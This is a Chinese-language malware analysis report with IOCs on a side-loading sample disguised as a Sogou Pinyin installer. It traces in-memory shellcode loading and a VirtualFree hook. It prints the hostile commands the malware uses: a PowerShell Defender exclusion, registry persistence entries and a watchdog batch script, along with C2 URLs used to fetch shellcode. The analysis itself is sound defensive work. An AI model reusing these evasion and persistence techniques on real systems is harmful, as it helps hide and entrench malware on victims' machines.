概述
这是一个典型的白加黑的恶意代码,原始样本是一个自解压文件,可能是钓鱼样本,使用了一个合法签名的exe加载一个恶意的dll,在内存中解密和运行恶意载荷,,创建启动项的方式很特别,没有传播功能。
原始样本 sogou_pinyin_setup.exe
样本的基本信息
SHA256:31110b94ab2c3f672149658d0962ce11593801076ac51c844fe31a6c9ee7fd36
MD5:1c3e486b4243ead7ce573b1aba6ffddc
SHA1:1740e5de664533f974473c39ba3f68627b2037df
文件大小: 1.34 MB (1,407,798 字节)
Detect It Easy信息
PE32sfx: WinRAR(-)[-]编译器: EP:Microsoft Visual C/C++(2013-2017)[EXE32]编译器: Microsoft Visual C/C++(2015 v.14.0)[-]链接程序: Microsoft Linker(14.0, Visual Studio 2015 14.0*)[GUI32,admin]存档: RAR(5)[-]附加: Binary存档: RAR(5)
根据Detect It Easy的信息可知这是一个压缩包,使用winrar打开,可以看到有自解压的命令,将其中的ppt文件夹解压到%ProgramData%
中,并运行ppt/YourPhone.exe
。
ppt目录下有4个文件
这4个样本的基本信息如下
ppt\hpock.png:
Verified: Unsigned
File date: 21:56 2024/4/7
MD5: B2AC9A3402A82FAD76D43DA9EF060349
SHA1: 800B4CDA55C31B80AE4B2C31E1DD75ABACEAEE32
SHA256: 669F91E219A7D85DE6C19EFE3B183659B7C40C205BF844F505C7E53D9DB06911ppt\vcruntime140.dll:
Verified: ?????????????????
Link date: 12:11 1980/5/20
Publisher: Microsoft Windows Software Compatibility Publisher
Company: Microsoft Corporation
Description: Microsoft?C Runtime Library
Product: Microsoft?Visual Studio?
Prod version: 14.38.33135.0
File version: 14.38.33135.0
MachineType: 32-bit
MD5: 9C133B18FA9ED96E1AEB2DA66E4A4F2B
SHA1: 238D34DBD80501B580587E330D4405505D5E80F2
SHA256: C7D9DFDDBE68CF7C6F0B595690E31A26DF4780F465D2B90B5F400F2D8D788512
pdb path,D:\a\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdbppt\YourPhone.exe:
Verified: Signed
Signing date: 14:19 2011/9/21
Publisher: Beijing SkyInfo Technology Co., Ltd.
Company: ???????
Description: 易点通播放组件
Product: ???????
Prod version: 1.0.0.1
File version: 1.0.0.1
MachineType: 32-bit
MD5: 99A8958530024EF92EB337339058F461
SHA1: 99D4BF5CA192AC32AE190CDE5AB6CB15DF34B8D5
SHA256: EDAAE9FF7AEB6E590B9FBA6A3E2C0D80EA94B033CFFF502CAABD09510364B69D
pdb path,D:\works\CoolHC\trunk\client\bin\Release\VoolePlayer\VoolePlayer.pdbppt\YourPhoneCHS.dll:
Verified: (证书无效)
Signing date: 20:50 2023/12/18
Publisher: 北京京东尚科信息技术有限公司
Company: Micffrporation
Description: Restart Manager
Product: Micrhddhfg System
Prod version: 10.0.17763.1075
File version: 10.0.17763.1075 (W4550101.0800)
MachineType: 32-bit
MD5: 55790D7A53A0464464456AA4BE43B7AA
SHA1: B9C51DA26DED64A7325D3337D53690AD1A6F506D
SHA256: 6111E09B425EDCA218E49F8B7E482724D36384856B603F1396E4D0291DFBD7D0
pdb path,D:\源码\UU\Release\dllhostLOC.pdb
编译时间戳 2024-04-02 18:18:12
YourPhone.exe是有合法签名的,
vcruntime140.dll文件是windows的组件,
YourPhoneCHS.dll文件的签名有问题,pdb路径也很可疑
hpock.png不是一个合法的图片(是一个加密的payload)
通过白+黑的方式启动,通过侧加载dll的方式启动恶意dll,在内存中解密执行payload
阶段1 YourPhone.exe
YourPhone.exe是一个合法的软件,为易点通播放组件,在这个样本中的_AfxLoadLangDLL函数中会加载YourPhoneCHS.dll。
阶段2 YourPhoneCHS.dll
这个dll的主要功能是读取同目录下的文件hpock.png的内容,解密其中的内容,在内存中加载一段shellcode
在NtProtectVirtualMemory处下断点,将这段shellcode dump出来
阶段3 shellcode
这段shellcode的作用是在内存中解压一个dll,并加载这个dll。
这段shellcode使用peb+hash的方式获取了所需的api地址,使用RtlDecompressBuffer函数解压了一个dll,在内存中加载这个dll,没有落地。
最后调用了VirtualFree函数,这个操作很重要,后面会讲。
在RtlDecompressBuffer
处设置断点,将解压后的dll提取出来分析。
阶段4 dll
样本的基本信息,根据pdb路径大致可推测为中国人所为,这个病毒的主要功能就在这个dll中
md5,B63B71D2E464F2F8303BE9F10D5F1BDD
sha1,FF0BFD69D7EEDB64235AFDABDA3E56EBE89144A6
sha256,5F590A79B3827252D017C31A83482FE3F547E8A21C4F69BB0A02FF0A6A766481
pdb path,D:\源码\UU\Release\lib.pdb
Link date: 21:56 2024/4/7
MachineType: 32-bit
文件大小: 149 KB (152,576 字节)
链接程序: Microsoft Linker(14.37**)[DLL32]
导出表
Name Address Ordinal
fuckyou 10005440 1
DllEntryPoint 10005F70 [main entry]
主要功能是fuckyou这个函数中
首先初始化了一堆全局变量,创建了一个名为MutexChinagamesAutoUpgrade
的互斥量和一个名为\\.\pipe\\vfsss221wsUU8sngs06
的命名管道。
通过遍历进程的方式,判断当前系统中是否有360相关进程。
检测WinDefend服务,判断当前是否有windows Defender
。
判断当前系统中是否存在%startup%\Microsoft Server.lnk
或%startup%\Microsoft Server.vt
。(这是病毒的启动项),若不存在的话,表示首次感染系统,存在的话,是开机启动的情形。
最后使用inline hook的方式hook了VirutalFree的地址。
hook的原理也很简单,将VirtualFree的前5个字节先备份,然后替换成E9 XX XX XX XX
(jmp xxxxxxxx),后面是作者自定义函数的地址,病毒的主要功能在这个函数中。在阶段3的末尾,加载dll后调用VirtualFree就会触发hook后的函数。
下面重要分析这个hook后的VitualFree。
1.拷贝文件
创建一个类似这样的目录C:\\ProgramData\[GUID1]\[GUID2]\
,
GUID的格式为%08X-%04X-%04x-%02X%02X-%02Xxv%02Xw5%02X%02X
,注意和通常的GUID字符串不一样。将当前目录下的4个文件(YourPhone.exe、YourPhoneCHS.dll、hpock.png、vcruntime140.dll
),拷贝到这个目录下,并隐藏目录C:\\ProgramData\[GUID1]
。
2.添加开机启动项
若存在360相关进程
创建一个空白文件 C:\\ProgramData\\Microsoft Server.vt
,将这个文件拷贝到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Server.vt
.
调用MoveFileExA
将L:\Microsoft Server.vt
移动到L:\Startup\Microsoft Server.vt
,这个API设置了flag=DELAY_UNTIL_REBOOT
,表示等待系统重启后完成移动(神操作)。
修改下列3项注册表,完成开机自启动病毒母体:
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\DOS Devices]
"L:"="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs"
将L:映射为startup路径[HKEY_CLASSES_ROOT\.VT]
@="NNLPS"[HKEY_CLASSES_ROOT\NNLPS\Shell\Open\Command]
@="C:\\ProgramData\\[GUID1]\\[GUID2]\\YourPhone.exe"
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\DOS Devices]
该键是注册表中的一个路径,表示当前计算机系统的控制集的设置。其中的 DOS Devices
是会话管理器的设置。此项的含义是指定一个逻辑驱动器 L:,其对应的物理路径是 \\??\\C:\ProgramData\Microsoft\Windows\Start Menu\Programs
。换句话说,这个键值给驱动器 L: 分配了一个路径(目录)。
[HKEY_CLASSES_ROOT\.VT]
该键指定了文件扩展名 .VT 对应的注册表项的路径。在这个例子中,.VT
扩展名的默认值是 NNLPS
。
[HKEY_CLASSES_ROOT\NNLPS\Shell\Open\Command]
该键指定了注册表中与 NNLPS
文件类型相关的默认打开命令。在这个例子中,默认的打开命令是 C:\ProgramData\[GUID1]\[GUID2]\YourPhone.exe
。也就是说,每当使用关联到 .VT
扩展名的文件时,系统会自动执行 YourPhone.exe
这个程序。
若当前系统不存在360时
执行下面的操作。
创建一个新的目录C:\ProgramData\[GUID1]\[GUID3]
,在其中释放一个lnk文件Microsoft Server.lnk
,这个lnk的target指向C:\ProgramData\[GUID1]\[GUID2]\YourPhone.exe
,开始位置为C:\ProgramData\[GUID1]\[GUID2]
。
若当前系统中有windows defender的话
执行下面的命令,将病毒所在目录加白。
powershell.exe -Command "Add-MpPreference -ExclusionPath '\C:\ProgramData\[GUID1]\[GUID2]'"
将C:\ProgramData\[GUID1]\[GUID3]\Microsoft Server.lnk
拷贝到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Server.lnk
若当前系统没有windows defender的话
将当前用户的 Startup
文件夹的路径设置为 C:\ProgramData\[GUID1]\[GUID2]
,这个过程有点特别,着重讲一下。
首先释放一个文本文件C:\ProgramData\[GUID1]\[GUID3]
,内容如下,这是要修改的注册表项。
Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
"Startup"="C:\\ProgramData\\[GUID1]\\[GUID1]"
这个键值将当前用户的 Startup
文件夹的路径设置为 C:\ProgramData\[GUID1]\[GUID2]
。这意味着在用户登录时,Windows系统将会查找并运行位于该路径下的程序或快捷方式。
然后从网址http://asj658g.cyou/d1/154.38.113.5/reg32
下载一个exe,保存为C:\ProgramData\[GUID1]\[GUID4].exe
,这个应该是reg.exe程序,不过这个Url已经失效了。
创建一个新目录C:\ProgramData\[GUID1]\[GUID5]
,创建一个lnk文件C:\ProgramData\[GUID1]\[GUID5]\[GUID6].lnk
,这个快捷方式的target为C:\ProgramData\[GUID1]\[GUID4].exe /s "C:\ProgramData\[GUID1]\[GUID3]"
,起始位置为C:\ProgramData\[GUID1]
。
打开目录C:\ProgramData\[GUID1]\[GUID5]
,使用遍历窗口的方式找到窗口标题是[GUID5]
的窗口,找到这个打开的窗口后,向这个窗口的发送鼠标点击消息来执行C:\ProgramData\[GUID1]\[GUID5]\[GUID6].lnk
。
就一个设置注册表的操作,竟然写的这么复杂,目的应该是为逃避检测。执行完毕后就会删除这reg.exe文件和文本文件。
执行恶意代码
最后这个病毒向http://asj658g.cyou/d1/154.38.113.5/code32
下载一段shellcode,
若当前不存在360的话,创建一个bat文件,保存为C:\ProgramData\[GUID1]\[GUID6].cmd
,内容如下,执行这个bat文件。这个批处理脚本的作用是检测病毒进程是否正在运行,如果没有运行,则启动病毒母体,保证病毒进程一直存在。
@echo off
:loop
tasklist /fi "PID eq [curpid]" | findstr /i "[curpid]" > nul
if %errorlevel% neq 0 (
start "" "[selfFileName]"
ping -n 5 127.0.0.1 > nulstart "" "[selfFileName]"
del "%~f0"
goto end
)
ping -n 20 127.0.0.1 > nul
goto loop
:end
最后将下载的shellcode加载到内存执行,由于c2地址已经不可用,无法知道shellcode的功能。
IOC
文件hash
1c3e486b4243ead7ce573b1aba6ffddc sogou_pinyin_setup.exe 自解压文件
9C133B18FA9ED96E1AEB2DA66E4A4F2B vcruntime140.dll 微软组件
99A8958530024EF92EB337339058F461 YourPhone.exe 白样本 有合法签名
B2AC9A3402A82FAD76D43DA9EF060349 hpock.png 加载的payload
55790D7A53A0464464456AA4BE43B7AA YourPhoneCHS.dll 加载器
B63B71D2E464F2F8303BE9F10D5F1BDD 内存中加载的dllpdb 路径
D:\源码\UU\Release\dllhostLOC.pdb YourPhoneCHS.dll
D:\源码\UU\Release\lib.pdb 内存中加载的dll文件路径
%ProgramData%\ppt\YourPhone.exe
%ProgramData%\ppt\YourPhoneCHS.dll
%ProgramData%\ppt\hpock.png
%ProgramData%\ppt\vcruntime140.dll
注意和GUID是随机生成的,格式如%08X-%04X-%04x-%02X%02X-%02Xxv%02Xw5%02X%02X
%ProgramData%\[GUID1]\[GUID2]\YourPhone.exe
%ProgramData%\[GUID1]\[GUID2]\YourPhone.exe
%ProgramData%\[GUID1]\[GUID2]\YourPhoneCHS.dll
%ProgramData%\[GUID1]\[GUID2]\hpock.png
%ProgramData%\[GUID1]\[GUID2]\vcruntime140.dll快捷方式文件
%ProgramData%\[GUID1]\[GUID3]\Microsoft Server.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Server.lnk
空白文件
%ProgramData%\Microsoft Server.vt
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Server.vt
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Server.vtC:\ProgramData\[GUID1]\[GUID3] .reg文件
C:\ProgramData\[GUID1]\[GUID4].exe reg32文件 从c2下载的
C:\ProgramData\[GUID1]\[GUID5]\[GUID6].lnk 启动reg32的快捷方式C:\ProgramData\[GUID1]\[GUID6].cmd bat文件互斥量 MutexChinagamesAutoUpgrade
命名管道 \\.\pipe\\vfsss221wsUU8sngs06注册表
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\DOS Devices]
"L:"="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs"
将L:映射为startup路径[HKEY_CLASSES_ROOT\.VT]
@="NNLPS"[HKEY_CLASSES_ROOT\NNLPS\Shell\Open\Command]
@="C:\\ProgramData\\[GUID1]\\[GUID2]\\YourPhone.exe"[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
"Startup"="C:\\ProgramData\\[GUID1]\\[GUID1]"网络
http://asj658g.cyou/d1/154.38.113.5/reg32
http://asj658g.cyou/d1/154.38.113.5/code32
总结
这是一个典型的白加黑的样本,其中使用了许多规避检测的方法,有花指令、有检测360和windows defender,内存加载dll,创建开机启动项和对注册表的操作很特别。有点疑问的话是没有传播模块,不排除钓鱼的嫌疑。
参考资料
-
微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区 (threatbook.com)
-
样本报告-微步在线云沙箱 (threatbook.com)